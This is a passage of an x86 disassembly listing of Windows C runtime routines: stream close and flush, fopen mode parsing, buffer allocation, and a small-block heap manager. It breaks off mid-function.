; =============== S U B	R O U T	I N E =======================================



sub_414E9B	proc near		; CODE XREF: sub_412540+2Ap
					; sub_419E27+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_463FE0
		jnb	loc_414F35
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:463EE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_414F35
		push	edi
		call	sub_419D93
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414F14
		cmp	edi, 1
		jz	short loc_414EE2
		cmp	edi, 2
		jnz	short loc_414EF8


loc_414EE2:				; CODE XREF: sub_414E9B+40j
		push	2
		call	sub_419D93
		push	1
		mov	ebp, eax
		call	sub_419D93
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_414F14


loc_414EF8:				; CODE XREF: sub_414E9B+45j
		push	edi
		call	sub_419D93
		pop	ecx
		push	eax
		call	dword_41D074	; CloseHandle
		test	eax, eax
		jnz	short loc_414F14
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_414F16
; ---------------------------------------------------------------------------


loc_414F14:				; CODE XREF: sub_414E9B+3Bj
					; sub_414E9B+5Bj ...
		xor	ebp, ebp


loc_414F16:				; CODE XREF: sub_414E9B+77j
		push	edi
		call	sub_419D19
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_414F31
		push	ebp
		call	sub_418CFA
		pop	ecx
		jmp	short loc_414F46
; ---------------------------------------------------------------------------


loc_414F31:				; CODE XREF: sub_414E9B+8Bj
		xor	eax, eax
		jmp	short loc_414F49
; ---------------------------------------------------------------------------


loc_414F35:				; CODE XREF: sub_414E9B+Ej
					; sub_414E9B+2Fj
		and	dword_462BC8, 0
		mov	dword_462BC4, 9


loc_414F46:				; CODE XREF: sub_414E9B+94j
		or	eax, 0FFFFFFFFh


loc_414F49:				; CODE XREF: sub_414E9B+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_414E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F4E	proc near		; CODE XREF: sub_412540+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_414F77
		test	al, 8
		jz	short loc_414F77
		push	dword ptr [esi+8]
		call	sub_412813
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_414F77:				; CODE XREF: sub_414F4E+Aj
					; sub_414F4E+Ej
		pop	esi
		retn
sub_414F4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F79	proc near		; CODE XREF: sub_415019+2Dp
					; sub_415019+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_414F8B
		push	esi
		call	sub_415019
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414F8B:				; CODE XREF: sub_414F79+7j
		push	esi
		call	sub_414FB4
		test	eax, eax
		pop	ecx
		jz	short loc_414F9B
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414F9B:				; CODE XREF: sub_414F79+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_414FB0
		push	dword ptr [esi+10h]
		call	sub_419DD0
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_414FB0:				; CODE XREF: sub_414F79+26j
		xor	eax, eax
		pop	esi
		retn
sub_414F79	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FB4	proc near		; CODE XREF: sub_412540+1Ap
					; sub_41380E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_415001
		test	ax, 108h
		jz	short loc_415001
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_415001
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41978C
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_414FFA
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_415001
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_415001
; ---------------------------------------------------------------------------


loc_414FFA:				; CODE XREF: sub_414FB4+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_415001:				; CODE XREF: sub_414FB4+14j
					; sub_414FB4+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414FB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415010	proc near		; CODE XREF: sub_419A48p
		push	1
		call	sub_415019
		pop	ecx
		retn
sub_415010	endp


; =============== S U B	R O U T	I N E =======================================



sub_415019	proc near		; CODE XREF: sub_414F79+Ap
					; sub_415010+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_463EC0, esi
		jle	short loc_415077


loc_41502A:				; CODE XREF: sub_415019+5Cj
		mov	eax, dword_462EB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41506E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41506E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_415054
		push	eax
		call	sub_414F79
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41506E
		inc	ebx
		jmp	short loc_41506E
; ---------------------------------------------------------------------------


loc_415054:				; CODE XREF: sub_415019+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41506E
		test	cl, 2
		jz	short loc_41506E
		push	eax
		call	sub_414F79
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41506E
		or	edi, eax


loc_41506E:				; CODE XREF: sub_415019+1Bj
					; sub_415019+23j ...
		inc	esi
		cmp	esi, dword_463EC0
		jl	short loc_41502A


loc_415077:				; CODE XREF: sub_415019+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_415082
		mov	eax, edi


loc_415082:				; CODE XREF: sub_415019+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_415019	endp


; =============== S U B	R O U T	I N E =======================================



sub_415086	proc near		; CODE XREF: sub_412596+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41997D
		test	eax, eax
		pop	ecx
		jz	short loc_41510F
		cmp	esi, offset dword_431BC8
		jnz	short loc_4150A4
		xor	eax, eax
		jmp	short loc_4150AF
; ---------------------------------------------------------------------------


loc_4150A4:				; CODE XREF: sub_415086+18j
		cmp	esi, offset dword_431BE8
		jnz	short loc_41510F
		push	1
		pop	eax


loc_4150AF:				; CODE XREF: sub_415086+1Cj
		inc	dword_462D84
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41510F
		cmp	dword_462C1C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:462C1Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4150F5
		push	ebx
		call	sub_41279F
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4150F5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_415102
; ---------------------------------------------------------------------------


loc_4150F5:				; CODE XREF: sub_415086+4Dj
					; sub_415086+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_415102:				; CODE XREF: sub_415086+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41510F:				; CODE XREF: sub_415086+10j
					; sub_415086+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_415086	endp


; =============== S U B	R O U T	I N E =======================================



sub_415113	proc near		; CODE XREF: sub_412596+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41513D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41514E
		push	esi
		call	sub_414FB4
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41513D:				; CODE XREF: sub_415113+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41514E
		push	eax
		call	sub_414FB4
		pop	ecx


loc_41514E:				; CODE XREF: sub_415113+10j
					; sub_415113+32j
		pop	esi
		retn
sub_415113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415150	proc near		; CODE XREF: sub_4125C8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_462D8C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_415189
		cmp	al, 72h
		jz	short loc_415182
		cmp	al, 77h
		jnz	loc_41529D
		mov	ecx, 301h
		jmp	short loc_41518E
; ---------------------------------------------------------------------------


loc_415182:				; CODE XREF: sub_415150+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_415191
; ---------------------------------------------------------------------------


loc_415189:				; CODE XREF: sub_415150+1Dj
		mov	ecx, 109h


loc_41518E:				; CODE XREF: sub_415150+30j
		or	esi, 2


loc_415191:				; CODE XREF: sub_415150+37j
		push	1
		pop	edx


loc_415194:				; CODE XREF: sub_415150+8Bj
					; sub_415150+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_415283
		cmp	edx, ebx
		jz	loc_415283
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_415222
		jz	short loc_415212
		sub	eax, 2Bh
		jz	short loc_4151FC
		sub	eax, 19h
		jz	short loc_4151F2
		sub	eax, 0Eh
		jz	short loc_4151DD
		dec	eax
		jnz	loc_415274
		cmp	[ebp+var_4], ebx
		jnz	loc_415274
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_415194
; ---------------------------------------------------------------------------


loc_4151DD:				; CODE XREF: sub_415150+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_415274
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_415194
; ---------------------------------------------------------------------------


loc_4151F2:				; CODE XREF: sub_415150+6Aj
		test	cl, 40h
		jnz	short loc_415274
		or	ecx, 40h
		jmp	short loc_415194
; ---------------------------------------------------------------------------


loc_4151FC:				; CODE XREF: sub_415150+65j
		test	cl, 2
		jnz	short loc_415274
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_415194
; ---------------------------------------------------------------------------


loc_415212:				; CODE XREF: sub_415150+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_415274
		or	ecx, eax
		jmp	loc_415194
; ---------------------------------------------------------------------------


loc_415222:				; CODE XREF: sub_415150+5Ej
		sub	eax, 62h
		jz	short loc_41526F
		dec	eax
		jz	short loc_415258
		sub	eax, 0Bh
		jz	short loc_415241
		sub	eax, 6
		jnz	short loc_415274
		test	ch, 0C0h
		jnz	short loc_415274
		or	ch, 40h
		jmp	loc_415194
; ---------------------------------------------------------------------------


loc_415241:				; CODE XREF: sub_415150+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_415274
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_415194
; ---------------------------------------------------------------------------


loc_415258:				; CODE XREF: sub_415150+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_415274
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_415194
; ---------------------------------------------------------------------------


loc_41526F:				; CODE XREF: sub_415150+D5j
		test	ch, 0C0h
		jz	short loc_41527B


loc_415274:				; CODE XREF: sub_415150+72j
					; sub_415150+7Bj ...
		xor	edx, edx
		jmp	loc_415194
; ---------------------------------------------------------------------------


loc_41527B:				; CODE XREF: sub_415150+122j
		or	ch, 80h
		jmp	loc_415194
; ---------------------------------------------------------------------------


loc_415283:				; CODE XREF: sub_415150+4Aj
					; sub_415150+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_419E27
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4152A1


loc_41529D:				; CODE XREF: sub_415150+25j
		xor	eax, eax
		jmp	short loc_4152BB
; ---------------------------------------------------------------------------


loc_4152A1:				; CODE XREF: sub_415150+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_462D84
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4152BB:				; CODE XREF: sub_415150+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415150	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152C0	proc near		; CODE XREF: sub_4125C8p
		mov	edx, dword_463EC0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_415331
		mov	ebx, dword_462EB0
		mov	edi, ebx


loc_4152DC:				; CODE XREF: sub_4152C0+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_4152F7
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_4152F2
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_4152DC
		jmp	short loc_415331
; ---------------------------------------------------------------------------


loc_4152F2:				; CODE XREF: sub_4152C0+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41531B
; ---------------------------------------------------------------------------


loc_4152F7:				; CODE XREF: sub_4152C0+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41279F
		pop	ecx
		mov	ecx, dword_462EB0
		mov	[edi+ecx], eax
		mov	eax, dword_462EB0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_415331
		mov	esi, edi


loc_41531B:				; CODE XREF: sub_4152C0+35j
		cmp	esi, ebp
		jz	short loc_415331
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_415331:				; CODE XREF: sub_4152C0+12j
					; sub_4152C0+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4152C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415338	proc near		; CODE XREF: sub_4127B1+1Fp
					; sub_413D8F+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_462C28
		test	eax, eax
		jz	short loc_415350
		push	[esp+arg_0]
		call	eax ; dword_462C28
		test	eax, eax
		pop	ecx
		jz	short loc_415350
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_415350:				; CODE XREF: sub_415338+7j
					; sub_415338+12j
		xor	eax, eax
		retn
sub_415338	endp


; =============== S U B	R O U T	I N E =======================================



sub_415353	proc near		; CODE XREF: .nsp0:00414422p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_41D16C	; HeapCreate
		test	eax, eax
		mov	dword_464220, eax
		jz	short loc_415388
		call	sub_41538F
		test	eax, eax
		jnz	short loc_41538B
		push	dword_464220
		call	dword_41D168	; HeapDestroy


loc_415388:				; CODE XREF: sub_415353+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41538B:				; CODE XREF: sub_415353+27j
		push	1
		pop	eax
		retn
sub_415353	endp


; =============== S U B	R O U T	I N E =======================================



sub_41538F	proc near		; CODE XREF: sub_415353+20p
		push	140h
		push	0
		push	dword_464220
		call	dword_41D144	; RtlAllocateHeap
		test	eax, eax
		mov	dword_46421C, eax
		jnz	short loc_4153AC
		retn
; ---------------------------------------------------------------------------


loc_4153AC:				; CODE XREF: sub_41538F+1Aj
		and	dword_464214, 0
		and	dword_464218, 0
		push	1
		mov	dword_464210, eax
		mov	dword_464208, 10h
		pop	eax
		retn
sub_41538F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4153CD	proc near		; CODE XREF: sub_412813+Ap
					; sub_413D8F+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_464218
		lea	ecx, [eax+eax*4]
		mov	eax, dword_46421C
		lea	ecx, [eax+ecx*4]


loc_4153DD:				; CODE XREF: sub_4153CD+26j
		cmp	eax, ecx
		jnb	short loc_4153F5
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4153F7
		add	eax, 14h
		jmp	short loc_4153DD
; ---------------------------------------------------------------------------


loc_4153F5:				; CODE XREF: sub_4153CD+12j
		xor	eax, eax

locret_4153F7:				; CODE XREF: sub_4153CD+21j
		retn
sub_4153CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153F8	proc near		; CODE XREF: sub_412813+16p
					; sub_413D8F+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_4154BE
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_415450
		mov	[ebp+arg_4], edi


loc_415450:				; CODE XREF: sub_4153F8+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_4154A2
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41547E
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_4154A2
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_4154A2
; ---------------------------------------------------------------------------


loc_41547E:				; CODE XREF: sub_4153F8+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_4154A2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_4154A2:				; CODE XREF: sub_4153F8+60j
					; sub_4153F8+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_4154BE:				; CODE XREF: sub_4153F8+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_4154CC
		push	3Fh
		pop	edi


loc_4154CC:				; CODE XREF: sub_4153F8+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41557B
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_4154F7
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_4154F7:				; CODE XREF: sub_4153F8+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_415509
		mov	edi, edx


loc_415509:				; CODE XREF: sub_4153F8+10Dj
		cmp	ecx, edi
		jz	short loc_415578
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_415560
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41553C
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_415560
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_415560
; ---------------------------------------------------------------------------


loc_41553C:				; CODE XREF: sub_4153F8+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_415560
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_415560:				; CODE XREF: sub_4153F8+11Ej
					; sub_4153F8+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_415578:				; CODE XREF: sub_4153F8+113j
		mov	edx, [ebp+var_8]


loc_41557B:				; CODE XREF: sub_4153F8+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41558A
		cmp	[ebp+arg_4], edi
		jz	loc_415613


loc_41558A:				; CODE XREF: sub_4153F8+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_415613
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_4155E7
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4155D6
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4155D6:				; CODE XREF: sub_4153F8+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_4155E7:				; CODE XREF: sub_4153F8+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4155FD
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4155FD:				; CODE XREF: sub_4153F8+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_415610:				; CODE XREF: sub_4153F8+1EDj
		mov	ebx, [ebp+var_C]


loc_415613:				; CODE XREF: sub_4153F8+18Cj
					; sub_4153F8+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_41571E
		mov	eax, dword_464214
		test	eax, eax
		jz	loc_415710
		mov	ecx, dword_46420C
		mov	edi, dword_41D170
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; dword_41D170
		mov	ecx, dword_46420C
		mov	eax, dword_464214
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_464214
		mov	ecx, dword_46420C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_464214
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_464214
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41569E
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_464214


loc_41569E:				; CODE XREF: sub_4153F8+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_415710
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; dword_41D170
		mov	eax, dword_464214
		push	dword ptr [eax+10h]
		push	0
		push	dword_464220
		call	dword_41D148	; RtlFreeHeap
		mov	eax, dword_464218
		mov	edx, dword_46421C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_464214
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_412E60
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_464218
		cmp	eax, dword_464214
		jbe	short loc_415702
		sub	eax, 14h


loc_415702:				; CODE XREF: sub_4153F8+305j
		mov	ecx, dword_46421C
		mov	dword_464210, ecx
		jmp	short loc_415713
; ---------------------------------------------------------------------------


loc_415710:				; CODE XREF: sub_4153F8+233j
					; sub_4153F8+2AAj
		mov	eax, [ebp+arg_0]


loc_415713:				; CODE XREF: sub_4153F8+316j
		mov	dword_464214, eax
		mov	dword_46420C, esi


loc_41571E:				; CODE XREF: sub_4153F8+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415723	proc near		; CODE XREF: sub_4127DD+Ep
					; sub_413D8F+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_464218
		mov	edx, dword_46421C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_415763
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_415773
; ---------------------------------------------------------------------------


loc_415763:				; CODE XREF: sub_415723+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_415773:				; CODE XREF: sub_415723+3Ej
		mov	eax, dword_464210
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41579A


loc_415781:				; CODE XREF: sub_415723+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41579A
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_415781


loc_41579A:				; CODE XREF: sub_415723+5Cj
					; sub_415723+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_415818
		mov	ebx, edx


loc_4157A1:				; CODE XREF: sub_415723+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4157BD
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4157BB
		add	ebx, 14h
		jmp	short loc_4157A1
; ---------------------------------------------------------------------------


loc_4157BB:				; CODE XREF: sub_415723+91j
		cmp	ebx, eax


loc_4157BD:				; CODE XREF: sub_415723+83j
		jnz	short loc_415818


loc_4157BF:				; CODE XREF: sub_415723+ADj
